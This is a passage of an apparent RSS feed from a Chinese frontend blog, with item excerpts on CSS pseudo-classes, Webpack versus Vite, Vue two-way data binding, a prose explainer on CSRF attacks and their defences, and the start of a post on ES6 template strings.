&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:lang()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;匹配到指定语言时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Alang"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:empty&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素处于没有子元素状态时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Aempty"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:invalid&lt;/code&gt; 和 &lt;code&gt;:valid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;表单项是否有效&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Avalid"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:required&lt;/code&gt; 和 &lt;code&gt;:optional&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;表单项是否必填&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Arequired"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:in-range&lt;/code&gt;和 &lt;code&gt;:out-of-range&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;表单项是否超出范围&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Ain-range"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:read-only&lt;/code&gt;和 &lt;code&gt;:read-write&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;表单项是否只读&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Aread-only"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:enabled&lt;/code&gt;和 &lt;code&gt;:disabled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;表单项是否禁用&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Aenabled"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:fullscreen&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;当前处于全屏显示模式时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Afullscreen"&gt;⚠️&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:blank&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;输入框处于输入为空状态时&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:dir()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;匹配到特定文字书写方向时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Adir"&gt;❌&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;上表中的兼容性表示：&lt;/p&gt;</description></item><item><title>Webpack与Vite</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-002/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-002/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;vite比webpack快？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;vite比webpack简单？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;今天我们就来分析一下，到底有什么不一样的地方！&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="定位"&gt;定位&lt;/h2&gt;
&lt;p&gt;对比之前，我们先要搞懂，vite与webpack的定位以及关系才可以。&lt;/p&gt;
&lt;p&gt;那前端社区中常谈到的这些工具&lt;code&gt;webpack&lt;/code&gt;、&lt;code&gt;rollup&lt;/code&gt;、&lt;code&gt;parcel&lt;/code&gt;、&lt;code&gt;esbuild&lt;/code&gt;、&lt;code&gt;vite&lt;/code&gt;、&lt;code&gt;vue-cli&lt;/code&gt;、&lt;code&gt;create-react-app&lt;/code&gt;、&lt;code&gt;umi&lt;/code&gt;他们之间的关系是怎样的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;webpack&lt;/code&gt;、&lt;code&gt;rollup&lt;/code&gt;、&lt;code&gt;parcel&lt;/code&gt;、&lt;code&gt;esbuild&lt;/code&gt;都是打包工具，代码写好之后，我们需要对代码进行&lt;code&gt;压缩&lt;/code&gt;、&lt;code&gt;合并&lt;/code&gt;、&lt;code&gt;转换&lt;/code&gt;、&lt;code&gt;分割&lt;/code&gt;、&lt;code&gt;打包&lt;/code&gt;等操作，这些工作需要打包工具去完成。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vue-cli&lt;/code&gt;、&lt;code&gt;create-react-app&lt;/code&gt;、&lt;code&gt;umi&lt;/code&gt; 是基于&lt;code&gt;webpack&lt;/code&gt;的上层封装，通过简单的配置就可以快速创建出一个项目，把更多的时间放在业务开发上。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vite&lt;/code&gt;开发环境依赖&lt;code&gt;esbuild&lt;/code&gt;进行预构建，生产环境则依赖&lt;code&gt;rollup&lt;/code&gt;进行打包，并且充分利用了现代浏览器的特性，比如&lt;code&gt;http2&lt;/code&gt;、&lt;code&gt;ES module&lt;/code&gt;，&lt;code&gt;vite&lt;/code&gt;是站在众多巨人肩膀上的一个产物， 类似&lt;code&gt;webpack + webpack-dev-server&lt;/code&gt;的结合体，是一个非常棒的前端项目的构建工具。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="运行原理"&gt;运行原理&lt;/h2&gt;
&lt;p&gt;首先，我们从运行原理上分析一下，vite为什么比webpack快。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;webpack运行原理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-002/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;当我们使用webpack启动项目时，webpack会根据我们配置文件（&lt;code&gt;webpack.config.js&lt;/code&gt;） 中的入口文件（&lt;code&gt;entry&lt;/code&gt;），分析出项目项目所有依赖关系，然后打包成一个文件（&lt;code&gt;bundle.js&lt;/code&gt;），交给浏览器去加载渲染。&lt;/p&gt;
&lt;p&gt;这样就会带来一个问题，项目越大，需要打包的东西越多，启动时间越长。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关于&lt;code&gt;ES module&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在讲vite运行原理之前，我们先说一下&lt;code&gt;ES module&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目前，绝大多数现代浏览器都已经支持&lt;code&gt;ES module&lt;/code&gt;了， 我们只需要在&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签中添加&lt;code&gt;type=&amp;quot;module&amp;quot;&lt;/code&gt;，就可以使用&lt;code&gt;ES module&lt;/code&gt;了。&lt;/p&gt;
&lt;p&gt;下面这段代码是可以直接在浏览器中运行的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// test.js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hello&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;hello world&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// index.html
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;module&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hello&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./test.js&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;hello&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// hello world
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/scirpt&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;vite运行原理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-002/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;&amp;lt;script type=&amp;quot;module&amp;quot;&amp;gt;&lt;/code&gt;中，浏览器遇到内部的import引用时，会自动发起http请求，去加载对应的模块。&lt;/p&gt;
&lt;p&gt;vite也正是利用了&lt;code&gt;ES module&lt;/code&gt;这个特性，使用vite运行项目时，首先会用&lt;code&gt;esbuild&lt;/code&gt;进行预构建，将所有模块转换为&lt;code&gt;es module&lt;/code&gt;，不需要对我们整个项目进行编译打包，而是在浏览器需要加载某个模块时，拦截浏览器发出的请求，根据请求进行&lt;code&gt;按需编译&lt;/code&gt;，然后返回给浏览器。&lt;/p&gt;
&lt;p&gt;这样一来，首次启动项目（冷启动）时，自然也就比webpack快很多了，并且项目大小对vite启动速度的影响也很小。&lt;/p&gt;
&lt;h2 id="构建方式"&gt;构建方式&lt;/h2&gt;
&lt;p&gt;我们再来看一下，vite与webpack在项目构建上有哪些区别。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;webpack&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;webpack是基于&lt;code&gt;nodejs&lt;/code&gt;运行的，但&lt;code&gt;js&lt;/code&gt;只能单线程运行，无法利用多核CPU的优势，当项目越来越大时，构建速度也就越来越慢了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;vite&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;vite&lt;code&gt;预构建&lt;/code&gt;与&lt;code&gt;按需编译&lt;/code&gt;的过程，都是使用&lt;code&gt;esbuild&lt;/code&gt;完成的。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;esbuild&lt;/code&gt;是用&lt;code&gt;go&lt;/code&gt;语言编写的，可以充分利用多核CPU的优势，所以vite开发环境下的&lt;code&gt;预构建&lt;/code&gt;与&lt;code&gt;按需编译&lt;/code&gt;速度，都是非常快的。&lt;/p&gt;
&lt;h2 id="http2"&gt;http2&lt;/h2&gt;
&lt;p&gt;vite充分利用了http2可以并发请求的优势，这也是速度快的一个主要原因。 接下来，我们了解一下&lt;strong&gt;http2&lt;/strong&gt;的来龙去脉。&lt;/p&gt;
&lt;p&gt;在之前http1的时候，浏览器对同一个域名的请求，是有并发限制的，一般为6个，如果并发请求6个以上，就会造成阻塞问题，所以在http1的时代，我们要减少打包产物的文件数量，减少并发请求，来提高项目的加载速度。&lt;/p&gt;
&lt;p&gt;2015年以后，http2出现了，他可以并发发送多个请求，不会出现http1的并发限制。这时候，将打包产物分成多个小模块，并行去加载，反而会更快。&lt;/p&gt;
&lt;p&gt;vite也充分利用了这一优势，对项目资源进行了合理的拆分，访问项目时，同时加载多个模块，来提升项目访问速度。&lt;/p&gt;
&lt;h2 id="热更新"&gt;热更新&lt;/h2&gt;
&lt;p&gt;vite速度快的另一个原因是与webpack不同的热更新机制。&lt;/p&gt;</description></item><item><title>数据绑定</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-002/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-002/</guid><description>&lt;h3 id="1-定义"&gt;1. 定义&lt;/h3&gt;
&lt;h4 id="11-双向绑定--单向绑定"&gt;&lt;strong&gt;1.1 双向绑定 &amp;amp; 单向绑定&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;vue的双向绑定，即数据与视图的&lt;code&gt;响应式&lt;/code&gt;设计。具体表现为：&lt;code&gt;View&lt;/code&gt;的改变能实时让&lt;code&gt;Model&lt;/code&gt;发生变化，而&lt;code&gt;Model&lt;/code&gt;的变化也能实时更新&lt;code&gt;View&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;什么情况下用户可以更新View呢？如：&lt;code&gt;填写表单&lt;/code&gt;。当用户填写表单时，View的状态就被更新了，如果此时MVVM框架可以自动更新Model的状态，那就相当于把Model和View做了双向绑定。&lt;/p&gt;
&lt;p&gt;注意区别：&lt;code&gt;单向数据绑定&lt;/code&gt;，所有数据只有一份，一旦数据变化，就去更新页面(只有data&amp;ndash;&amp;gt;DOM，没有DOM&amp;ndash;&amp;gt;data)。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户在页面作出更新，需要用户手动收集(双向绑定是自动收集)，在合并到原有的数据中。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vue.js中的v-model主要用在表单的input输入框，完成视图和数据的双向绑定：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;app&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v-model&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;message&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;{{message}}&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;app&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;#app&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;message&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="12-v-model来添加双向绑定"&gt;&lt;strong&gt;1.2 v-model来添加双向绑定&lt;/strong&gt;&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v-model&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;xxx&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- 上面的代码等价于 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;:value&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;xxx&amp;#34;&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;xxx = $event.target.value&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- 双向绑定 = 单向绑定 + UI事件监听 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="13-双向绑定单向绑定的优缺点"&gt;&lt;strong&gt;1.3 双向绑定、单向绑定的优缺点&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;单向绑定&lt;/strong&gt;：数据流也是单向的，对于复杂应用来说是实施统一状态管理（如redux）的前提。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;双向绑定&lt;/strong&gt;：在一些需要&lt;code&gt;实时&lt;/code&gt;反应用户输入的场合会非常方便（如多级联动菜单）。但常认为复杂应用中这种便利比不上引入状态管理带来的优势。因为不知道状态什么时候发生改变，是谁造成的改变，数据变更也不会通知。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;响应式的思路：&lt;code&gt;mvvm&lt;/code&gt; &lt;strong&gt;Model，View，View-Model&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="2-原理概述"&gt;2. 原理概述&lt;/h3&gt;
&lt;p&gt;Vue 数据双向绑定原理是通过 &lt;code&gt;数据劫持&lt;/code&gt; + &lt;code&gt;发布者-订阅者模式&lt;/code&gt; 的方式来实现的，首先是通过 &lt;code&gt;ES5&lt;/code&gt; 提供的 &lt;code&gt;Object.defineProperty()&lt;/code&gt; 方法来劫持（监听）各属性的 &lt;strong&gt;getter、setter&lt;/strong&gt;，并在当监听的属性发生变动时通知订阅者，是否需要更新，若更新就会执行对应的更新函数。详见 &lt;a href="https://github.com/vuejs/vue"&gt;vue源码&lt;/a&gt;。&lt;/p&gt;</description></item><item><title>CSRF攻击</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-002/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-002/</guid><description>&lt;h2 id="csrf是什么"&gt;CSRF是什么&lt;/h2&gt;
&lt;p&gt;CSRF（Cross-site request forgery）跨站请求伪造：&lt;strong&gt;攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求，利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一个典型的CSRF攻击有着如下的流程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;受害者登录a.com，并保留了登录凭证（Cookie）。&lt;/li&gt;
&lt;li&gt;攻击者引诱受害者访问了b.com。&lt;/li&gt;
&lt;li&gt;b.com 向 a.com 发送请求。&lt;/li&gt;
&lt;li&gt;a.com接收到请求后，对请求进行验证，并确认是受害者的凭证，误以为是受害者自己发送的请求。&lt;/li&gt;
&lt;li&gt;a.com以受害者的名义执行了这个请求。&lt;/li&gt;
&lt;li&gt;攻击完成，攻击者在受害者不知情的情况下，冒充受害者，让a.com执行了自己定义的操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="csrf的特点"&gt;CSRF的特点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;攻击一般发起在第三方网站，而不是被攻击的网站。被攻击的网站无法防止攻击发生&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻击利用受害者在被攻击网站的登录凭证，冒充受害者提交操作；而不是直接窃取数据&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;整个过程攻击者并不能获取到受害者的登录凭证，仅仅是“冒用”&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨站请求可以用各种方式：图片URL、超链接、CORS、Form提交等等。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="如何进行预防"&gt;如何进行预防&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;CSRF通常从第三方网站发起，被攻击的网站无法防止攻击发生，只能通过增强自己网站针对CSRF的防护能力来提升安全性。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;防止&lt;code&gt;csrf&lt;/code&gt;常用方案如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;阻止不明外域的访问&lt;br&gt;&lt;/li&gt;
&lt;li&gt;同源检测&lt;/li&gt;
&lt;li&gt;Samesite Cookie&lt;/li&gt;
&lt;li&gt;提交时要求附加本域才能获取的信息&lt;br&gt;&lt;/li&gt;
&lt;li&gt;CSRF Token&lt;/li&gt;
&lt;li&gt;双重Cookie验证&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="同源检测"&gt;同源检测&lt;/h3&gt;
&lt;p&gt;Cookie的同源和浏览器的同源策略有所区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;浏览器同源策略：协议、域名和端口都相同即同源；&lt;/li&gt;
&lt;li&gt;Cookie同源策略：域名相同即同源；&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在HTTP协议中，每个异步请求都会携带两个header,用来标记来源域名：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Origin Header&lt;/li&gt;
&lt;li&gt;Referer Header&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;这两个Header在浏览器发起请求时，大多数情况会自动带上，并且不能由前端修改，服务器接收到后可以根据这两个Header确定来源的域名；&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;综上所述：&lt;/strong&gt; 同源验证是一个相对简单的防范方法，能够防范绝大多数的CSRF攻击。但这并不是万无一失的，&lt;strong&gt;对于安全性要求较高，或者有较多用户输入内容的网站，我们就要对关键的接口做额外的防护措施。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="samesite-cookie属性"&gt;Samesite Cookie属性&lt;/h3&gt;
&lt;p&gt;在&lt;strong&gt;Chrome 51&lt;/strong&gt;版本后，浏览器的 Cookie 新增加了一个SameSite属性，用来防止 CSRF 攻击。&lt;/p&gt;
&lt;p&gt;Cookie的Samesite属性用来限制第三方Cookie, 从而减少安全风险，它有三个值：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Set-Cookie: SameSite = Strict;&lt;/li&gt;
&lt;li&gt;Set-Cookie: SameSite = Lax;&lt;/li&gt;
&lt;li&gt;Set-Cookie: SameSite = None;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Strict：&lt;/strong&gt; 最为严格，完全禁止第三方Cookie, 跨站点时，任何情况都不发送Cookie;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lax：&lt;/strong&gt; 限制稍微宽松，大多数情况下时不发送第三方Cookie的，除了a链接、预加载请求和GET表单；&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;None：&lt;/strong&gt; 关闭&lt;code&gt;SameSite&lt;/code&gt;属性，但必须同时设置&lt;code&gt;Secure&lt;/code&gt;属性，&lt;/p&gt;</description></item><item><title>模版字符串</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-002/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-002/</guid><description>&lt;p&gt;未见过的函数用法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function fun(strings,params1){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log(strings);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log(params1)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
